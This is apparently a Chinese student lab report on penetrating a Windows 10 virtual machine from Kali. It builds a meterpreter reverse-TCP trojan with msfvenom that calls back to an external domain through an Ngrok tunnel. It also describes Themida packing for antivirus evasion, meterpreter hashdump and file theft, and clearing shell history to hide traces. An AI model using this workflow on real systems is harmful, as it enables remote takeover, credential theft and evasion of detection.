基于Windows的Kali远控木马渗透

1 引言

  1. 课题背景

随着信息技术的不断发展,网络攻击的威胁也日益增加。在这种情况下,组织和企业需要通过定期的渗透测试来评估其网络和系统的安全性。Kali Linux作为一种专业的渗透测试工具,为安全专业人员提供了一个强大的平台,用于模拟各种攻击场景。  在渗透测试的过程中,远控木马(RATs)成为评估网络防御和检测机制的关键工具之一。远控木马允许安全专业人员模拟攻击者,远程访问目标系统,识别潜在的漏洞,并评估系统的防御能力。  Kali Linux作为一款基于Debian的Linux发行版,集成了大量的渗透测试工具,包括一些用于创建和使用远控木马的工具。通过Kali Linux,渗透测试人员可以有效地测试目标系统的弱点,包括但不限于操作系统漏洞、网络配置错误和应用程序安全性问题。 

  1. 本课题的研究方法

通过部署在Windows11上的VMwarePro软件配置攻击机Kali2023和靶机Windows10进行一次完整的攻击行为,其中将会详细讲解每一个步骤并附上代码和相关知识点。

首先,通过Kali的msf框架生成基于meterpreter控制的木马的详细步骤以及对于msf框架下的multi/hander 的使用。
其次,利用Themida对于生成的木马进行加壳免杀,同时通过租用的服务器搭建一个隧道进行内网穿透。
最后发送木马至Windows靶机,中毒后将会拿到windows的控制权限,并下载靶机中提前部署好的一个加密文件到攻击机Kali中,对其进行暴力破解并尝试拿到加密内容。

3 核心技术

3.1 攻击机环境及靶机环境

3.1.1 VMware Workstation Pro介绍以及环境配置

Mware Workstation Pro允许您在一台计算机上创建和运行多个虚拟机,每个虚拟机都可以运行不同的操作系统。这对于软件开发、测试和虚拟化实验非常有用。

主要特点包括:

多虚拟机管理: 同时运行多个虚拟机,每个虚拟机都可独立操作。

跨平台支持: 可在Windows、Linux和macOS上运行。

高级网络功能: 具备灵活的网络配置,支持虚拟网络模式和自定义网络设置。

克隆和快照: 能够轻松创建虚拟机的克隆和快照,方便备份和测试。

强大的硬件兼容性: 支持最新的硬件和技术。

环境配置步骤:

1. 下载和安装VMware Workstation Pro:访问VMware官方网站(https://www.vmware.com/products/workstation-pro.html),下载适用于操作系统的VMware Workstation Pro安装程序,并按照安装向导进行安装。

2. 虚拟机创建:

启动VMware Workstation Pro。

点击“新建虚拟机”(Create a New Virtual Machine)。

选择创建新虚拟机的类型:

如果有一个操作系统安装光盘或ISO镜像,选择“典型”。

如果已经有一个虚拟机配置文件或虚拟磁盘,选择“自定义”。

3. 操作系统安装:

指定操作系统类型和版本。

分配虚拟机内存。

指定虚拟硬盘大小。

4. 硬件配置:

配置网络适配器: 可选择桥接、NAT或仅主机模式。

配置其他硬件设置,如显卡、声卡等。

5. 启动虚拟机:

插入操作系统安装光盘或选择操作系统的ISO镜像。

启动虚拟机,按照操作系统安装过程进行操作。

6. VMware Tools安装:

在虚拟机启动后,安装VMware Tools以提高性能和兼容性。

7. 克隆和快照:

创建虚拟机的克隆,以备份或创建相似的环境。

在重要配置更改前,创建虚拟机的快照,以便在需要时还原到先前状态。 

以上步骤提供了一个基本的VMware Workstation Pro介绍和环境配置的概述

3.1.2  Kali环境的配置

步骤:

1. 下载Kali Linux ISO文件:

访问Kali Linux官方网站,选择适用于VMware的版本,并下载相应的ISO文件。

2. 创建新的虚拟机:

打开VMware Workstation Pro。

点击“新建虚拟机”。

选择“典型”配置。

在选择操作系统时,选择Linux,并在版本中选择Debian 10.x 64-bit(Kali Linux基于Debian)。

输入虚拟机的名称和位置。

分配足够的内存,推荐4096 MB。

选择“创建一个虚拟磁盘”并设置磁盘大小(80 GB)。

选择“将虚拟磁盘作为单个文件存储”。

3. 安装Kali Linux:

启动虚拟机。

在虚拟机启动时,选择之前下载的Kali Linux ISO文件作为启动介质。

进入Kali Linux安装向导,按照提示进行安装。

在磁盘分区阶段,选择“使用整个磁盘”或手动分区,根据需要进行设置。

完成安装并重启虚拟机。

4. VMware Tools安装:

在Kali Linux中打开终端。

运行以下命令安装所需的软件包:

sudo apt update

sudo apt install open-vm-tools-desktop -y

5. 调整分辨率(可选):

在VMware Workstation的菜单中,选择“VM” -> “安装VMware Tools”以挂载VMware Tools安装介质。

在Kali Linux终端中运行以下命令:

sudo mount /dev/cdrom /media/cdrom

cd /media/cdrom

sudo cp VMwareTools-*.tar.gz /tmp/

sudo umount /media/cdrom

cd /tmp/

tar -xzvf VMwareTools-*.tar.gz

cd vmware-tools-distrib/

sudo ./vmware-install.pl

按照提示完成安装。

6. 其他配置(可选):

更新系统:运行以下命令更新系统和安装软件包:

sudo apt update

sudo apt upgrade

配置网络:使用ifconfig或ip命令配置网络连接。

配置其他工具和应用程序,根据需求进行定制。

完成上述步骤后,就成功在VMware中配置了Kali Linux虚拟机。

3.1.3 Windows10环境配置

步骤:

1. 获取Windows 10 ISO文件:

确保您有Windows 10的安装ISO文件。如果尚未拥有,请访问Microsoft官方网站下载。

2. 创建新的虚拟机:

打开VMware Workstation Pro。

点击“新建虚拟机”。

选择“典型”配置。

在选择操作系统时,选择Microsoft Windows,并在版本中选择Windows 10。

输入虚拟机的名称和位置。

分配足够的内存,推荐至少2048 MB。

选择“创建一个虚拟磁盘”并设置磁盘大小(建议至少40 GB)。

选择“将虚拟磁盘作为单个文件存储”。

3. 安装Windows 10:

启动虚拟机。

在虚拟机启动时,选择之前下载的Windows 10 ISO文件作为启动介质。

进入Windows 10安装向导,按照提示进行安装。

在磁盘分区阶段,选择目标磁盘,然后点击“下一步”以继续安装。

完成安装并按照提示进行初始设置。

4. VMware Tools安装:

在Windows 10中,VMware Tools通常会在虚拟机启动时自动安装。如果没有自动安装,可以手动安装:

在VMware Workstation菜单中选择“VM” -> “安装VMware Tools”以挂载VMware Tools安装介质。

在Windows 10中打开安装介质,运行安装程序,按照提示完成安装。

5. 调整分辨率(可选):

在VMware Workstation的菜单中,选择“VM” -> “设置” -> “显示”,调整分辨率设置。

6. 其他配置(可选):

更新系统:在Windows 10中,打开“设置” -> “更新和安全” -> “Windows 更新”进行系统更新。

安装防病毒软件和其他必要的工具。

配置网络:通过Windows 10设置中的网络设置配置网络连接。

完成上述步骤后,就成功在VMware中配置了Windows 10虚拟机。

3.2 核心渗透技术

3.2.1 熟悉Kali Linux

 Kali Linux是一种基于Debian的Linux发行版,专注于渗透测试和网络安全。

特点:

渗透测试工具: Kali Linux集成了大量渗透测试和网络安全工具,包括Metasploit、Nmap、Wireshark、Aircrack-ng等。

开发者友好: Kali Linux支持多种编程语言和开发工具,使其成为安全研究人员和渗透测试人员的理想工作平台。

定期更新: Kali Linux团队定期更新其工具和软件包,以确保用户始终可以使用最新的安全工具。

Live USB和Live CD支持: 您可以将Kali Linux安装到USB驱动器上,从而在不安装在物理硬盘的情况下运行它。

安全审计和渗透测试: Kali Linux广泛用于安全审计、渗透测试和恢复丢失的密码等安全任务。

基本用途:

渗透测试: 用于评估计算机系统、网络或应用程序的安全性,以模拟潜在黑客的攻击。

无线网络安全测试: 针对无线网络进行渗透测试,包括密码破解和无线网络分析。

数字取证: 用于调查和恢复从计算机系统中获得的证据,以解决犯罪或安全事件。

安全培训和教育: 作为安全专业人员的培训工具,帮助他们更好地了解安全原理和工具的使用。

学习资源:

官方文档: 阅读Kali Linux的官方文档,了解安装、配置和使用的详细信息。

在线课程: 学习关于Kali Linux的在线课程,包括渗透测试和网络安全的培训。

社区参与: 加入Kali Linux社区,与其他用户和开发者互动,获取支持和分享经验。

安全博客和论坛: 阅读有关网络安全和Kali Linux的博客文章,参与安全社区的讨论。

实际实验: 利用Kali Linux在合法和道德的范围内进行实验,提升技能和经验。

3.2.2 熟悉并掌握msf框架的部分工具并进行木马的制作

 启动Metasploit:

打开终端,输入以下命令启动Metasploit Framework:

msfconsole

2. 使用msfvenom生成Payload:

使用msfvenom工具生成windows/x64/reverse_tcp Payload。替换 <LHOST> 和 <LPORT> 为你的攻击者IP地址和监听端口。

Msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<viphk.nnhk.cc> LPORT=<11000> -f exe -o Kenton074.exe

-p: 指定Payload,这里使用了64位的Meterpreter反向TCP连接。

-f: 指定输出格式,这里是exe可执行文件。

-o: 指定输出文件的名称。

3. 启动监听器:

在Metasploit中设置一个监听器以接收反向连接。在msfconsole中输入:

use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST <127.0.0.1>

set LPORT <9000>

Exploit

4. 运行木马:

将生成的 Kenton74.exe 文件传递到目标系统,并运行它。一旦目标系统执行了这个文件,Metasploit监听器就会捕获到反向连接。

5. 与Meterpreter进行交互:

如果一切设置正确,将在Metasploit中得到一个Meterpreter shell,可以与目标系统进行交互。

通过help指令来查看能够进行的操作,一下列出某一些指令:

sysinfo      # 获取目标系统信息

shell        # 打开交互式命令行Shell

upload       # 上传文件到目标系统

download     # 从目标系统下载文件

migrate      # 迁移到其他进程

这样,就成功地使用Metasploit生成了一个windows/x64/reverse_tcp的木马,并与目标系统建立了反向连接。

3.2.3 对于Themida软件免杀原理的介绍以及内网穿透

 Themida 是一种用于保护Windows应用程序免受逆向工程和破解的软件保护工具。其主要原理包括以下几个方面:

代码混淆: Themida通过对程序代码进行混淆,使其变得难以理解和分析。这包括改变函数和变量的命名,重新排列代码结构等。

虚拟化: Themida使用代码虚拟化技术,将程序代码转换成一个虚拟机语言,使得逆向工程师更难理解原始代码。虚拟化使得反汇编和逆向分析更加困难。

防调试和反反调试: Themida包含防调试和反反调试的机制,以阻止破解者使用调试器来分析程序。这包括检测调试器的存在并采取相应的措施,例如修改代码、引发异常等。

加密关键代码段: Themida会加密程序的关键代码段,只有在运行时才会进行解密。这增加了分析者逆向工程的难度。

运行时保护: Themida会在程序运行时检测是否被破解或修改,并采取相应的措施,如终止程序运行或触发异常。

虽然Themida等保护工具能够提高程序的安全性,但并不是绝对安全的,因为破解者也在不断尝试绕过这些保护机制。

2. 内网穿透:

内网穿透 是指通过一些技术手段,将位于内网的计算机或服务暴露到外网,使得外部网络可以访问到内部网络中的资源。内网穿透通常用于搭建远程访问、局域网游戏、内网Web服务等场景。

一些常见的内网穿透技术包括:

反向代理: 在外网服务器上部署反向代理服务,将外部请求转发到内网服务。例如,使用Nginx或Apache配置反向代理。

SSH隧道: 使用SSH协议建立安全的隧道,将内网服务通过SSH端口暴露到外网。例如,使用ssh -L或ssh -R命令。

VPN(虚拟专用网络): 搭建VPN服务器,通过VPN协议建立安全通道,使得外部网络可以访问内网资源。

内网穿透工具: 使用专门的内网穿透工具,如Ngrok、frp、tcping等,这些工具提供简单的配置和管理界面,使得内网服务能够快速地对外提供访问。

本次攻击行动主要采用Ngrok:https://www.ngrok.cc/user 来进行内网穿透。

隧道id:**********

隧道名称:Hacking

隧道协议:tcp

本地端口:127.0.0.1:9000

服务器类型:Ngrok

域名:tcp://*******:11000

在隧道管理>隧道管理>客户端下载里面下载linux版本,解压好安装包,进入解压的文件夹,然后会看到里面有一个sunny的文件接下来给sunny文件可执行权限:chmod +x sunny 这样,然后./sunny clientid 隧道id 这样就成功启动了。

3.3 渗透攻击

渗透攻击中毒靶机
当meterpreter启动后可通过输入 help指令来查询能够对中毒靶机进行的操作,
获取系统信息:
whoami
sysinfo
hashdump

文件系统操作:
ls
cd
pwd
upload
使用这些命令可以浏览目标文件(Tsecret.zip)所在地
下载该文件到kali中
拿到加密文件的flag
尝试破解加密内容

3.3.2 清除痕迹

在渗透测试过程中,清理痕迹是非常重要的,以确保不留下不必要的痕迹和日志,从而减小被检测的风险。以下是一些常见的痕迹清理步骤:
清理Shell历史记录:
在目标系统上执行命令的时候,往往会有命令历史记录保存在历史文件中。你可以清空或删除这些历史文件,以减少命令的可追溯性。
Linux:
cat /dev/null > ~/.bash_history
history -c

结    

通过本次工程实践学习和锻炼了我对于kali渗透windows实操方面的技能,同时在进行渗透的途中学到了很多关于web渗透,逆向工程的知识,也算是一部分知识拓展,也是支撑我继续学下去得动力对于内网穿透,免杀遇到的各种难题都随着知识迎刃而解。

参考文献

[1] 赵娜.网络安全技术与实践[M].北京:电子工业出版社,2018.

[2] 李刚.白帽子讲Web安全[M].北京:人民邮电出版社,2016.

[3] 黄铭.Metasploit渗透测试指南[M].北京:人民邮电出版社,2015.

[4] 胡杰, 朱健民. Web前端黑客技术揭秘[M].北京:电子工业出版社,2014.

[5] 黑客与画家[M].北京:中信出版集团,2011.

[6] 赵刚, 王晓东.白帽子讲网络安全[M].北京:机械工业出版社,2015.

[7] Rafiq, Ali H. Kali Linux Wireless Penetration Testing Beginner's Guide[M]. Birmingham: Packt Publishing, 2015.

[8] Cameron, Joseph. Kali Linux Cookbook[M]. Birmingham: Packt Publishing, 2017.

[9] Pritchett, Shiva. Mastering Kali Linux for Advanced Penetration Testing[M]. Birmingham: Packt Publishing, 2014.

[10] Tahir, Usama. Kali Linux Wireless Penetration Testing: Beginner's Guide[M]. Birmingham: Packt Publishing, 2015.

     说明:

期刊类:[序号]作者.篇名[J].刊名,出版年份,卷号(期号):起止页码

专著类:[序号]作者.书名[M].出版地:出版社,出版年份.起止页码

报纸类:[序号]作者.篇名[N].报纸名,年 月 日

专利:[序号]专利所有者.题名[P].国别:专利号,年 月 日

标准:[序号]标准编号,标准名称[S]

此作者没有提供个人介绍
最后更新于 2024-12-23